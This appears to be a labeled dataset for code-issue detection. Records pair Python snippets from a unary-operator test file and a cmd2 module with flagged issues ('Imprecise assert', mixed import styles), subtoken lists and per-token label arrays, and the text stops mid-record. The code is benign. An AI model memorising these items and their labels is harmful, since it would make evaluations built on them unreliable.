"hub", "\\u", "commit_", "=_", "self_", "._", "\\u", "git", "hub", "\\u", "repo_", "._", "commit_", "(_", "git", "hub", "\\u", "commit_", "._", "sha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repo", "\\u", "commit_", "=_", "Rep", "o", "Commit_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "commit_", "._", "url_", "=_", "git", "hub", "\\u", "commit_", "._", "html", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "commit_", "._", "repo", "\\u", "source_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "git", "hub", "\\u", "commit_", "._", "date_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "last", "\\u", "date_", "=_", "dateutil_", "._", "parser_", "._", "parse_", "(_", "git", "hub", "\\u", "commit_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repo", "\\u", "commit_", "._", "date_", "=_", "self_", "._", "\\u", "last", "\\u", "date_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "last", "\\u", "date_", "+=_", "datetime_", "._", "timedelta_", "(_", "seconds_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "commit_", "._", "identifier_", "=_", "self_", "._", "\\u", "last", "\\u", "date_", "._", "isoformat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repo", "\\u", "commit_", "._", "committer", "\\u", "email_", "=_", "git", "hub", "\\u", "commit_", "._", "committer", "\\u", "email_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "commit_", "._", "committer", "\\u", "name_", "=_", "git", "hub", "\\u", "commit_", "._", "committer", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "commit_", "._", "username_", "=_", "git", "hub", "\\u", "commit_", "._", "committer", "\\u", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "commit_", "._", "message_", "=_", "git", "hub", "\\u", "commit_", "._", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repo", "\\u", "commit_", "._", "sha_", "=_", "git", "hub", "\\u", "commit_", "._", "sha_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "commit", "\\u", "start", "ed", "\\u", "callback_", "(_", "repo", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "git", "hub", "\\u", "commit_", "._", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "file", "\\u", "info_", "in_", "git", "hub", "\\u", "commit_", "._", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "file", "\\u", "info_", "._", "get_", "(_", "'", "patch", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "filename_", "=_", "committer", "\\u", "username_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diff_", "=_", "Diff", "Parser_", "(_", "file", "\\u", "info_", "[_", "'", "patch", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "patch_", "=_", "Rep", "o", "Patch_", "(_", "repo", "\\u", "commit_", "=_", "repo", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "patch_", "._", "diff_", "=_", "diff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repo", "\\u", "patch_", "._", "filename_", "=_", "file", "\\u", "info_", "._", "get_", "(_", "\"", "filename", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patch", "\\u", "callback_", "(_", "repo", "\\u", "patch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "commit", "\\u", "finish", "ed", "\\u", "callback_", "(_", "repo", "\\u", "commit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "\"", "batch", " ", "fo", "f", " ", "files", " ", "process", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "._", "debug_", "(_", "\"", "don", "e", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cst", "art_", "(_", "commit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pst", "art_", "(_", "patch_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "touche", "d", " ", "\"_", ",_", "patch_", "._", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cen", "d_", "(_", "commit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
azoft-dev-team/imagrium/env/Lib/test/test_unary.py
[ { "content": " def test_negative(self):\n self.assertTrue(-2 == 0 - 2)\n self.assertTrue(-0 == 0)\n self.assertTrue(--2 == 2)\n self.assertTrue(-2L == 0 - 2L)\n self.assertTrue(-2.0 == 0 - 2.0)\n self.assertTrue(-2j == 0 - 2j)", "metadata": "root.UnaryOpTestCase.test_negative", "header": "['class', 'UnaryOpTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 7 }, { "content": " def test_positive(self):\n self.assertTrue(+2 == 2)\n self.assertTrue(+0 == 0)\n self.assertTrue(++2 == 2)\n self.assertTrue(+2L == 2L)\n self.assertTrue(+2.0 == 2.0)\n self.assertTrue(+2j == 2j)", "metadata": "root.UnaryOpTestCase.test_positive", "header": "['class', 'UnaryOpTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 15 }, { "content": " def test_invert(self):\n self.assertTrue(-2 == 0 - 2)\n self.assertTrue(-0 == 0)\n self.assertTrue(--2 == 2)\n self.assertTrue(-2L == 0 - 2L)", "metadata": "root.UnaryOpTestCase.test_invert", "header": "['class', 'UnaryOpTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 23 }, { "content": " def test_no_overflow(self):\n nines = \"9\" * 32\n self.assertTrue(eval(\"+\" + nines) == eval(\"+\" + nines + \"L\"))\n self.assertTrue(eval(\"-\" + nines) == eval(\"-\" + nines + \"L\"))\n self.assertTrue(eval(\"~\" + nines) == eval(\"~\" + nines + \"L\"))", "metadata": "root.UnaryOpTestCase.test_no_overflow", "header": "['class', 'UnaryOpTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 } ]
[ { "span": "self.assertTrue(-2 == 0 - 2)", "start_line": 8, "start_column": 8, "end_line": 8, "end_column": 36 }, { "span": "self.assertTrue(-0 == 0)", "start_line": 9, "start_column": 8, "end_line": 9, "end_column": 32 }, { "span": "self.assertTrue(--2 == 2)", "start_line": 10, "start_column": 8, "end_line": 10, "end_column": 33 }, { "span": "self.assertTrue(-2L == 0 - 2L)", "start_line": 11, "start_column": 8, "end_line": 11, "end_column": 38 }, { "span": "self.assertTrue(-2.0 == 0 - 2.0)", "start_line": 12, "start_column": 8, "end_line": 12, "end_column": 40 }, { "span": "self.assertTrue(-2j == 0 - 2j)", "start_line": 13, "start_column": 8, "end_line": 13, "end_column": 38 }, { "span": "self.assertTrue(+2 == 2)", "start_line": 16, "start_column": 8, "end_line": 16, "end_column": 32 }, { "span": "self.assertTrue(+0 == 0)", "start_line": 17, "start_column": 8, "end_line": 17, "end_column": 32 }, { "span": "self.assertTrue(++2 == 2)", "start_line": 18, "start_column": 8, "end_line": 18, "end_column": 33 }, { "span": "self.assertTrue(+2L == 2L)", "start_line": 19, "start_column": 8, "end_line": 19, "end_column": 34 }, { "span": "self.assertTrue(+2.0 == 2.0)", "start_line": 20, "start_column": 8, "end_line": 20, "end_column": 36 }, { "span": "self.assertTrue(+2j == 2j)", "start_line": 21, "start_column": 8, "end_line": 21, "end_column": 34 }, { "span": "self.assertTrue(-2 == 0 - 2)", "start_line": 24, "start_column": 8, "end_line": 24, "end_column": 36 }, { "span": "self.assertTrue(-0 == 0)", "start_line": 25, "start_column": 8, "end_line": 25, "end_column": 32 }, { "span": "self.assertTrue(--2 == 2)", "start_line": 26, "start_column": 8, "end_line": 26, "end_column": 33 }, { "span": "self.assertTrue(-2L == 0 - 2L)", "start_line": 27, "start_column": 8, "end_line": 27, "end_column": 38 }, { "span": "self.assertTrue(eval(\"+\" + nines) == eval(\"+\" + nines + \"L\"))", "start_line": 31, "start_column": 8, "end_line": 31, "end_column": 69 }, { "span": "self.assertTrue(eval(\"-\" + nines) == eval(\"-\" + nines + \"L\"))", "start_line": 32, "start_column": 8, "end_line": 32, "end_column": 69 }, { "span": "self.assertTrue(eval(\"~\" + nines) == eval(\"~\" + nines + \"L\"))", "start_line": 33, "start_column": 8, "end_line": 33, "end_column": 69 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Una", "ry", "Op", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "negative_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "-_", "2_", "==_", "0_", "-_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "0_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "-_", "2_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "2_", "L_", "==_", "0_", "-_", "2_", "L_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "2.0_", "==_", "0_", "-_", "2.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "2j", "_", "==_", "0_", "-_", "2j", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Una", "ry", "Op", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "positive_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "+_", "2_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "+_", "0_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "+_", "+_", "2_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "+_", "2_", "L_", "==_", "2_", "L_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "+_", "2.0_", "==_", "2.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "+_", "2j", "_", "==_", "2j", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Una", "ry", "Op", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "invert_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "-_", "2_", "==_", "0_", "-_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "0_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "-_", "2_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "-_", "2_", "L_", "==_", "0_", "-_", "2_", "L_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Una", "ry", "Op", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "no", "\\u", "overflow", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nine", "s_", "=_", "\"", "9", "\"_", "*_", "32_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "eval_", "(_", "\"+\"_", "+_", "nine", "s_", ")_", "==_", "eval_", "(_", "\"+\"_", "+_", "nine", "s_", "+_", "\"", "L", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "eval_", "(_", "\"-\"_", "+_", "nine", "s_", ")_", "==_", "eval_", "(_", "\"-\"_", "+_", "nine", "s_", "+_", "\"", "L", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "eval_", "(_", "\"~\"_", "+_", "nine", "s_", ")_", "==_", "eval_", "(_", "\"~\"_", "+_", "nine", "s_", "+_", "\"", "L", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Module is imported with 'import' and 'import from'
Exa-Networks/exabgp/lib/exabgp/dep/cmd2.py
[ { "content": "\"\"\"Variant on standard library's cmd with extra features.\n\nTo use, simply import cmd2.Cmd instead of cmd.Cmd; use precisely as though you\nwere using the standard library's cmd, while enjoying the extra features.\n\nSearchable command history (commands: \"hi\", \"li\", \"run\")\nLoad commands from file, save to file, edit commands in file\nMulti-line commands\nCase-insensitive commands\nSpecial-character shortcut commands (beyond cmd's \"@\" and \"!\")\nSettable environment parameters\nOptional _onchange_{paramname} called when environment parameter changes\nParsing commands with `optparse` options (flags)\nRedirection to file with >, >>; input from file with <\nEasy transcript-based testing of applications (see example/example.py)\nBash-style ``select`` available\n\nNote that redirection with > and | will only work if `self.stdout.write()`\nis used in place of `print`. The standard library's `cmd` module is\nwritten to use `self.stdout.write()`,\n\n- Catherine Devlin, Jan 03 2008 - catherinedevlin.blogspot.com\n\nmercurial repository at http://www.assembla.com/wiki/show/python-cmd2\n\"\"\"\nimport cmd\nimport re\nimport os\nimport sys\nimport optparse\nimport subprocess\nimport tempfile\nimport doctest\nimport unittest\nimport datetime\nimport urllib\nimport glob\nimport traceback\nimport platform\nimport copy\nfrom code import InteractiveConsole, InteractiveInterpreter\nfrom optparse import make_option\nfrom exabgp.dep import pyparsing\n\n__version__ = '0.6.8'\n\nif sys.version_info[0] == 2:\n pyparsing.ParserElement.enablePackrat()\n\n\"\"\"\nPackrat is causing Python3 errors that I don't understand.\n\n> /usr/local/Cellar/python3/3.2/lib/python3.2/site-packages/pyparsing-1.5.6-py3.2.egg/pyparsing.py(999)scanString()\n-> nextLoc,tokens = parseFn( instring, preloc, callPreParse=False )\n(Pdb) n\nNameError: global name 'exc' is not defined\n\n(Pdb) parseFn\n<bound method Or._parseCache of {Python style comment ^ C style comment}>\n\nBug report filed: https://sourceforge.net/tracker/?func=detail&atid=617311&aid=3381439&group_id=97203\n\"\"\"\n\n\n\n\n\noptparse.Values.get = _attr_get_\n\noptions_defined = [] # used to distinguish --options from SQL-style --comments\n\n\n\npastebufferr = \"\"\"Redirecting to or from paste buffer requires %s\nto be installed on operating system.\n%s\"\"\"\n\nif subprocess.mswindows:\n try:\n import win32clipboard\n except ImportError:\n write_to_paste_buffer = get_paste_buffer\nelif sys.platform == 'darwin':\n can_clip = False\n try:\n # test for pbcopy - AFAIK, should always be installed on MacOS\n subprocess.check_call('pbcopy -help', shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)\n can_clip = True\n except (subprocess.CalledProcessError, OSError, IOError):\n pass\n if can_clip:\n else:\n write_to_paste_buffer = get_paste_buffer\nelse:\n can_clip = False\n try:\n subprocess.check_call('xclip -o -sel clip', shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)\n can_clip = True\n except AttributeError: # check_call not defined, Python < 2.5\n try:\n teststring = 'Testing for presence of xclip.'\n xclipproc = subprocess.Popen('xclip -sel clip', shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE)\n xclipproc.stdin.write(teststring)\n xclipproc.stdin.close()\n xclipproc = subprocess.Popen('xclip -o -sel clip', shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE)\n if xclipproc.stdout.read() == teststring:\n can_clip = True\n except Exception: # hate a bare Exception call, but exception classes vary too much b/t stdlib versions\n pass\n except Exception:\n pass # something went wrong with xclip and we cannot use it\n if can_clip:\n else:\n write_to_paste_buffer = get_paste_buffer\n\npyparsing.ParserElement.setDefaultWhitespaceChars(' \\t')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n doctest.testmod(optionflags = doctest.NORMALIZE_WHITESPACE)\n\n'''\nTo make your application transcript-testable, replace\n\n::\n\n app = MyApp()\n app.cmdloop()\n\nwith\n\n::\n\n app = MyApp()\n cmd2.run(app)\n\nThen run a session of your application and paste the entire screen contents\ninto a file, ``transcript.test``, and invoke the test like::\n\n python myapp.py --test transcript.test\n\nWildcards can be used to test against multiple transcript files.\n'''\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import optparse", "start_line": 29, "start_column": 0, "end_line": 29, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "Varia", "nt", " ", "on", " ", "standard", " ", "librar", "y", "'", "s", " ", "cmd", " ", "with", " ", "extra", " ", "features", ".", "\\", "10", ";", "\\", "10", ";", "To", " ", "use", ",", " ", "simp", "ly", " ", "import", " ", "cmd", "2", ".", "Cmd", " ", "inst", "ead", " ", "of", " ", "cmd", ".", "Cmd", ";", " ", "use", " ", "precise", "ly", " ", "as", " ", "tho", "ugh", " ", "you", "\\", "10", ";", "wer", "e", " ", "usi", "ng", " ", "the", " ", "standard", " ", "librar", "y", "'", "s", " ", "cmd", ",", " ", "whi", "le", " ", "enj", "oy", "ing", " ", "the", " ", "extra", " ", "features", ".", "\\", "10", ";", "\\", "10", ";", "Sear", "chab", "le", " ", "command", " ", "histo", "ry", " ", "(", "command", "s", ":", " ", "\"", "hi", "\",", " ", "\"", "li", "\",", " ", "\"", "run", "\")", "\\", "10", ";", "Load", " ", "command", "s", " ", "from", " ", "file", ",", " ", "save", " ", "to", " ", "file", ",", " ", "edit", " ", "command", "s", " ", "in", " ", "file", "\\", "10", ";", "Multi", "-", "line", " ", "command", "s", "\\", "10", ";", "Case", "-", "inse", "nsitive", " ", "command", "s", "\\", "10", ";", "Special", "-", "character", " ", "shortcut", " ", "command", "s", " ", "(", "be", "yon", "d", " ", "cmd", "'", "s", " ", "\"@", "\"", " ", "and", " ", "\"!", "\")", "\\", "10", ";", "Sett", "able", " ", "environ", "ment", " ", "parameter", "s", "\\", "10", ";", "Optio", "nal", " ", "\\u", "onchange", "\\u{", "param", "name", "}", " ", "call", "ed", " ", "whe", "n", " ", "environ", "ment", " ", "parameter", " ", "change", "s", "\\", "10", ";", "Pars", "ing", " ", "command", "s", " ", "with", " ", "`", "optparse", "`", " ", "options", " ", "(", "flags", ")", "\\", "10", ";", "Redirect", "ion", " ", "to", " ", "file", " ", "with", " ", ">", ",", " ", ">>", ";", " ", "input", " ", "from", " ", "file", " ", "with", " ", "<", "\\", "10", ";", "Eas", "y", " ", "transcri", "pt", "-", "based", " ", "testi", "ng", " ", "of", " ", "applica", "tion", "s", " ", "(", "see", " ", "example", "/", "example", ".", "py", ")", "\\", "10", ";", "Bas", "h", "-", "style", " ", "``", "select", "``", " ", "avail", "able", "\\", "10", ";", "\\", "10", ";", "Not", "e", " ", "tha", "t", " ", "redirection", " ", "with", " ", ">", " ", "and", " ", "|", " ", "will", " ", "only", " ", "work", " ", "if", " ", "`", "self", ".", "stdout", ".", "write", "()`", "\\", "10", ";", "is", " ", "used", " ", "in", " ", "place", " ", "of", " ", "`", "print", "`.", " ", " ", "The", " ", "standard", " ", "librar", "y", "'", "s", " ", "`", "cmd", "`", " ", "module", " ", "is", "\\", "10", ";", "writt", "en", " ", "to", " ", "use", " ", "`", "self", ".", "stdout", ".", "write", "()`", ",", "\\", "10", ";", "\\", "10", ";", "-", " ", "Cat", "heri", "ne", " ", "Dev", "lin", ",", " ", "Jan", " ", "03", " ", "2008", " ", "-", " ", "cat", "heri", "ned", "ev", "lin", ".", "blogs", "pot", ".", "com", "\\", "10", ";", "\\", "10", ";", "mercur", "ial", " ", "repos", "itor", "y", " ", "at", " ", "http", "://", "www", ".", "assem", "bla", ".", "com", "/", "wiki", "/", "show", "/", "python", "-", "cmd", "2", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "cmd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "optparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "doctest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "code_", "import_", "Interact", "ive", "Console_", ",_", "Interact", "ive", "Interpreter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "optparse_", "import_", "make", "\\u", "option_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "dep_", "import_", "pyparsing", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "version\\u\\u_", "=_", "'", "0.", "6.8", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pyparsing", "_", "._", "Parser", "Element_", "._", "enable", "Pack", "rat", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Pack", "rat", " ", "is", " ", "caus", "ing", " ", "Pyth", "on", "3", " ", "error", "s", " ", "tha", "t", " ", "I", " ", "don", "'", "t", " ", "underst", "and", ".", "\\", "10", ";", "\\", "10", ";", ">", " ", "/", "usr", "/", "local", "/", "Cel", "lar", 